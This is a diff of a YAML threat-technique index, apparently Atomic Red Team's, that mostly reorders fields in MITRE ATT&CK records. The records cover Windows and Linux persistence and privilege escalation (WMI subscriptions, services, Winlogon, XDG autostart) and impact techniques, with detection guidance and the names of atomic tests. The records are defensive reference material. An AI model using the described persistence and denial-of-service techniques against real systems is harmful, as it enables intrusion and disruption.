         Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime. (Citation: Mandiant M-Trends 2015)
 
         Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription. (Citation: Dell WMI Persistence) (Citation: Microsoft MOF May 2018)
 
         WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.
-      id: attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2021-04-13T21:32:54.094Z'
-      created: '2020-01-24T14:07:56.276Z'
       x_mitre_contributors:
       - Brent Murphy, Elastic
       - David French, Elastic
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
       x_mitre_detection: |-
         Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI <code>EventFilter</code>, <code>EventConsumer</code>, and <code>FilterToConsumerBinding</code> events. Event ID 5861 is logged on Windows 10 systems when new <code>EventFilterToConsumerBinding</code> events are created.(Citation: Elastic - Hunting for Persistence Part 1)
 
         Monitor processes and command-line arguments that can be used to register WMI persistence, such as the <code> Register-WmiEvent</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet (Citation: Microsoft Register-WmiEvent), as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'Process: Process Creation'
-      - 'WMI: WMI Creation'
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/003
+        external_id: T1546.003
+        source_name: mitre-attack
+      - source_name: Mandiant M-Trends 2015
+        description: 'Mandiant. (2015, February 24). M-Trends 2015: A View from the
+          Front Lines. Retrieved May 18, 2016.'
+        url: https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf
+      - url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf
+        description: Devon Kerr. (2015). There's Something About WMI. Retrieved May
+          4, 2020.
+        source_name: FireEye WMI SANS 2015
+      - source_name: FireEye WMI 2015
+        description: Ballenthin, W., et al. (2015). Windows Management Instrumentation
+          (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.
+        url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
+      - source_name: Dell WMI Persistence
+        description: Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016,
+          March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.
+        url: https://www.secureworks.com/blog/wmi-persistence
+      - url: https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-
+        description: Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved
+          January 24, 2020.
+        source_name: Microsoft MOF May 2018
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
+      - source_name: Medium Detecting WMI Persistence
+        description: French, D. (2018, October 9). Detecting & Removing an Attacker’s
+          WMI Persistence. Retrieved October 11, 2019.
+        url: https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96
+      - url: https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1
+        description: 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft
+          101: Hunting for persistence using Elastic Security (Part 1). Retrieved
+          December 21, 2020.'
+        source_name: Elastic - Hunting for Persistence Part 1
+      - url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1
+        description: Microsoft. (n.d.). Retrieved January 24, 2020.
+        source_name: Microsoft Register-WmiEvent
       identifier: T1546.003
     atomic_tests:
     - name: Persistence via WMI Event Subscription
@@ -52201,46 +53726,28 @@ persistence:
         elevation_required: true
   T1543.003:
     technique:
-      created: '2020-01-17T19:13:50.402Z'
+      type: attack-pattern
       modified: '2020-09-16T15:49:58.490Z'
+      name: Windows Service
+      x_mitre_data_sources:
+      - 'Service: Service Creation'
+      - 'Service: Service Modification'
+      - 'Process: Process Creation'
+      - 'Process: OS API Execution'
+      - 'Command: Command Execution'
+      - 'Windows Registry: Windows Registry Key Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      x_mitre_version: '1.1'
+      created: '2020-01-17T19:13:50.402Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      type: attack-pattern
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1543.003
-        url: https://attack.mitre.org/techniques/T1543/003
-      - external_id: CAPEC-478
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/478.html
-      - external_id: CAPEC-550
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/550.html
-      - external_id: CAPEC-551
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/551.html
-      - url: https://technet.microsoft.com/en-us/library/cc772408.aspx
-        description: Microsoft. (n.d.). Services. Retrieved June 7, 2016.
-        source_name: TechNet Services
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
-      - url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697
-        description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service
-          was installed in the system. Retrieved August 7, 2018.'
-        source_name: Microsoft 4697 APR 2017
-      - url: https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection
-        description: Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding
-          to help with intrusion detection. Retrieved August 7, 2018.
-        source_name: Microsoft Windows Event Forwarding FEB 2018
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Windows Service
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32
       description: "Adversaries may create or modify Windows services to repeatedly
         execute malicious payloads as part of persistence. When Windows boots up,
         it starts programs or applications called services that perform background
@@ -52260,19 +53767,12 @@ persistence:
         be created with administrator privileges but are executed under SYSTEM privileges,
         so an adversary may also use a service to escalate privileges from administrator
         to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). "
-      id: attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       x_mitre_contributors:
       - Matthew Demaske, Adaptforward
       - Travis Smith, Tripwire
       - Pedro Harrison
-      x_mitre_data_sources:
-      - 'Service: Service Creation'
-      - 'Service: Service Modification'
-      - 'Process: Process Creation'
-      - 'Process: OS API Execution'
-      - 'Command: Command Execution'
-      - 'Windows Registry: Windows Registry Key Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
       x_mitre_effective_permissions:
       - Administrator
       - SYSTEM
@@ -52304,10 +53804,35 @@ persistence:
         as part of a chain of behavior that could lead to other activities, such as
         network connections made for Command and Control, learning details about the
         environment through Discovery, and Lateral Movement."
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1543/003
+        external_id: T1543.003
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/478.html
+        external_id: CAPEC-478
+        source_name: capec
+      - url: https://capec.mitre.org/data/definitions/550.html
+        external_id: CAPEC-550
+        source_name: capec
+      - url: https://capec.mitre.org/data/definitions/551.html
+        external_id: CAPEC-551
+        source_name: capec
+      - source_name: TechNet Services
+        description: Microsoft. (n.d.). Services. Retrieved June 7, 2016.
+        url: https://technet.microsoft.com/en-us/library/cc772408.aspx
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
+      - source_name: Microsoft 4697 APR 2017
+        description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service
+          was installed in the system. Retrieved August 7, 2018.'
+        url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697
+      - source_name: Microsoft Windows Event Forwarding FEB 2018
+        description: Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding
+          to help with intrusion detection. Retrieved August 7, 2018.
+        url: https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection
       identifier: T1543.003
     atomic_tests:
     - name: Modify Fax service to run PowerShell
@@ -52431,14 +53956,26 @@ persistence:
         elevation_required: true
   T1547.004:
     technique:
-      created: '2020-01-24T16:59:59.688Z'
+      type: attack-pattern
       modified: '2020-04-21T16:00:41.277Z'
+      name: Winlogon Helper DLL
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Module: Module Load'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      created: '2020-01-24T16:59:59.688Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      type: attack-pattern
+      x_mitre_permissions_required:
+      - SYSTEM
+      - Administrator
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35
       description: "Adversaries may abuse features of Winlogon to execute DLLs and/or
         executables when a user logs in. Winlogon.exe is a Windows component responsible
@@ -52456,42 +53993,30 @@ persistence:
         user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell
         executed when a user logs on\n\nAdversaries may take advantage of these features
         to repeatedly execute malicious code and establish persistence."
-      name: Winlogon Helper DLL
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.004
-        url: https://attack.mitre.org/techniques/T1547/004
-      - external_id: CAPEC-579
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/579.html
-      - url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
-        description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence,
-          Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.'
-        source_name: Cylance Reg Persistence Sept 2013
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
-      x_mitre_platforms:
-      - Windows
       x_mitre_contributors:
       - Praetorian
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Module: Module Load'
-      - 'Command: Command Execution'
       x_mitre_detection: |-
         Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns)  New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.
 
         Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
-      x_mitre_permissions_required:
-      - SYSTEM
-      - Administrator
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/004
+        external_id: T1547.004
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/579.html
+        external_id: CAPEC-579
+        source_name: capec
+      - source_name: Cylance Reg Persistence Sept 2013
+        description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence,
+          Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.'
+        url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
       identifier: T1547.004
     atomic_tests:
     - name: Winlogon Shell Key Persistence - PowerShell
@@ -52564,38 +54089,36 @@ persistence:
         name: powershell
   T1547.013:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.013
-        url: https://attack.mitre.org/techniques/T1547/013
-      - description: Free Desktop. (2006, February 13). Desktop Application Autostart
-          Specification. Retrieved September 12, 2019.
-        url: https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html
-        source_name: Free Desktop Application Autostart Feb 2006
-      - description: Free Desktop. (2017, December 24). Recognized Desktop Entry Keys.
-          Retrieved September 12, 2019.
-        url: https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html
-        source_name: Free Desktop Entry Keys
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: XDG Autostart Entries
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-11-10T15:55:10.103Z'
+      created: '2019-09-10T18:13:12.195Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      id: attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11
+      x_mitre_platforms:
+      - Linux
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - root
       description: |-
         Adversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the <code>/etc/xdg/autostart</code> or <code>~/.config/autostart</code> directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006)
 
         Within an XDG autostart entry file, the <code>Type</code> key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The <code>Name</code> key indicates an arbitrary name assigned by the creator and the <code>Exec</code> key indicates the application and command line arguments to execute.(Citation: Free Desktop Entry Keys)
 
         Adversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make XDG autostart entries look as if they are associated with legitimate programs.
-      id: attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2020-11-10T15:55:10.103Z'
-      created: '2019-09-10T18:13:12.195Z'
-      x_mitre_is_subtechnique: true
       x_mitre_contributors:
       - Tony Lambert, Red Canary
       x_mitre_detection: "Malicious XDG autostart entries may be detected by auditing
@@ -52608,64 +54131,54 @@ persistence:
         to a trusted system baseline.\n \nSuspicious processes or scripts spawned
         in this manner will have a parent process of the desktop component implementing
         the XDG specification and will execute as the logged on user."
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      x_mitre_version: '1.0'
-      x_mitre_permissions_required:
-      - User
-      - root
-      x_mitre_platforms:
-      - Linux
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/013
+        external_id: T1547.013
+        source_name: mitre-attack
+      - source_name: Free Desktop Application Autostart Feb 2006
+        description: Free Desktop. (2006, February 13). Desktop Application Autostart
+          Specification. Retrieved September 12, 2019.
+        url: https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html
+      - source_name: Free Desktop Entry Keys
+        description: Free Desktop. (2017, December 24). Recognized Desktop Entry Keys.
+          Retrieved September 12, 2019.
+        url: https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html
     atomic_tests: []
 impact:
   T1531:
     technique:
-      created: '2019-10-09T18:48:31.906Z'
-      modified: '2020-07-14T19:15:29.911Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: impact
       type: attack-pattern
-      id: attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0
-      description: |-
-        Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.
-
-        Adversaries may also subsequently log off and/or reboot boxes to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)
+      modified: '2020-07-14T19:15:29.911Z'
       name: Account Access Removal
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - url: https://attack.mitre.org/techniques/T1531
-        source_name: mitre-attack
-        external_id: T1531
-      - description: CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat
-          Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019.
-        url: https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/
-        source_name: CarbonBlack LockerGoga 2019
-      - source_name: Unit42 LockerGoga 2019
-        url: https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/
-        description: Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga.
-          Retrieved April 16, 2019.
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
       x_mitre_data_sources:
       - 'User Account: User Account Deletion'
       - 'User Account: User Account Modification'
       - 'Active Directory: Active Directory Object Modification'
+      x_mitre_version: '1.0'
+      created: '2019-10-09T18:48:31.906Z'
       x_mitre_permissions_required:
       - User
       - Administrator
       - root
       - SYSTEM
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0
+      description: |-
+        Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.
+
+        Adversaries may also subsequently log off and/or reboot boxes to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: impact
       x_mitre_impact_type:
       - Availability
-      x_mitre_version: '1.0'
       x_mitre_detection: |-
         Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account:
 
@@ -52675,7 +54188,19 @@ impact:
         * Event ID 4740 - A user account was locked out
 
         Alerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - source_name: mitre-attack
+        external_id: T1531
+        url: https://attack.mitre.org/techniques/T1531
+      - source_name: CarbonBlack LockerGoga 2019
+        description: CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat
+          Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019.
+        url: https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/
+      - url: https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/
+        description: Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga.
+          Retrieved April 16, 2019.
+        source_name: Unit42 LockerGoga 2019
       identifier: T1531
     atomic_tests:
     - name: Change User Password - Windows
@@ -52775,49 +54300,73 @@ impact:
         elevation_required: false
   T1499.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1499.003
-        url: https://attack.mitre.org/techniques/T1499/003
-      - source_name: Arbor AnnualDoSreport Jan 2018
-        url: https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
-        description: Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill
-          Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight
-          into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide
-          Infrastructure Security Report. Retrieved April 22, 2019.
-      - source_name: Cisco DoSdetectNetflow
-        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
-        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
-          Retrieved April 25, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Application Exhaustion Flood
+      x_mitre_data_sources:
+      - 'Sensor Health: Host Status'
+      - 'Application Log: Application Log Content'
+      - 'Network Traffic: Network Traffic Content'
+      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '1.1'
+      modified: '2021-03-29T16:08:52.118Z'
+      created: '2020-02-20T15:35:00.025Z'
+      x_mitre_platforms:
+      - Windows
+      - Azure AD
+      - Office 365
+      - SaaS
+      - IaaS
+      - Linux
+      - macOS
+      - Google Workspace
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9
       description: 'Adversaries may target resource intensive features of web applications
         to cause a denial of service (DoS). Specific features in web applications
         may be highly resource intensive. Repeated requests to those features may
         be able to exhaust system resources and deny access to the application or
         the server itself. (Citation: Arbor AnnualDoSreport Jan 2018)'
-      id: attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: impact
-      modified: '2021-03-29T16:08:52.118Z'
-      created: '2020-02-20T15:35:00.025Z'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
       x_mitre_impact_type:
       - Availability
       x_mitre_detection: |-
         Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.
 
         In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1499/003
+        external_id: T1499.003
+        source_name: mitre-attack
+      - url: https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
+        description: Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill
+          Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight
+          into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide
+          Infrastructure Security Report. Retrieved April 22, 2019.
+        source_name: Arbor AnnualDoSreport Jan 2018
+      - url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
+        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
+          Retrieved April 25, 2019.
+        source_name: Cisco DoSdetectNetflow
+    atomic_tests: []
+  T1499.004:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Application or System Exploitation
       x_mitre_data_sources:
       - 'Sensor Health: Host Status'
       - 'Application Log: Application Log Content'
       - 'Network Traffic: Network Traffic Content'
       - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '1.1'
+      modified: '2021-03-29T16:09:41.559Z'
+      created: '2020-02-20T15:37:27.052Z'
       x_mitre_platforms:
       - Windows
       - Azure AD
@@ -52827,119 +54376,37 @@ impact:
       - Linux
       - macOS
       - Google Workspace
-    atomic_tests: []
-  T1499.004:
-    technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1499.004
-        url: https://attack.mitre.org/techniques/T1499/004
-      - source_name: Sucuri BIND9 August 2015
-        url: https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html
-        description: Cid, D.. (2015, August 2). BIND9 – Denial of Service Exploit
-          in the Wild. Retrieved April 26, 2019.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Application or System Exploitation
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0
       description: 'Adversaries may exploit software vulnerabilities that can cause
         an application or system to crash and deny availability to users. (Citation:
         Sucuri BIND9 August 2015) Some systems may automatically restart critical
         applications and services when crashes occur, but they can likely be re-exploited
         to cause a persistent DoS condition.'
-      id: attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: impact
-      modified: '2021-03-29T16:09:41.559Z'
-      created: '2020-02-20T15:37:27.052Z'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
       x_mitre_impact_type:
       - Availability
       x_mitre_detection: Attacks targeting web applications may generate logs in the
         web server, application server, and/or database server that can be used to
         identify the type of attack. Externally monitor the availability of services
         that may be targeted by an Endpoint DoS.
-      x_mitre_data_sources:
-      - 'Sensor Health: Host Status'
-      - 'Application Log: Application Log Content'
-      - 'Network Traffic: Network Traffic Content'
-      - 'Network Traffic: Network Traffic Flow'
-      x_mitre_platforms:
-      - Windows
-      - Azure AD
-      - Office 365
-      - SaaS
-      - IaaS
-      - Linux
-      - macOS
-      - Google Workspace
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1499/004
+        external_id: T1499.004
+        source_name: mitre-attack
+      - url: https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html
+        description: Cid, D.. (2015, August 2). BIND9 – Denial of Service Exploit
+          in the Wild. Retrieved April 26, 2019.
+        source_name: Sucuri BIND9 August 2015
     atomic_tests: []
   T1485:
     technique:
-      created: '2019-03-14T18:47:17.701Z'
-      modified: '2021-03-25T14:47:48.728Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: impact
       type: attack-pattern
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1485
-        url: https://attack.mitre.org/techniques/T1485
-      - description: Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March
-          14, 2019.
-        url: https://www.symantec.com/connect/blogs/shamoon-attacks
-        source_name: Symantec Shamoon 2012
-      - url: https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html
-        description: FireEye. (2016, November 30). FireEye Responds to Wave of Destructive
-          Cyber Attacks in Gulf Region. Retrieved January 11, 2017.
-        source_name: FireEye Shamoon Nov 2016
-      - url: http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
-        description: 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack
-          Wiper. Retrieved January 11, 2017.'
-        source_name: Palo Alto Shamoon Nov 2016
-      - source_name: Kaspersky StoneDrill 2017
-        url: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf
-        description: 'Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill:
-          Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.'
-      - description: Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas
-          Organization. Retrieved March 14, 2019.
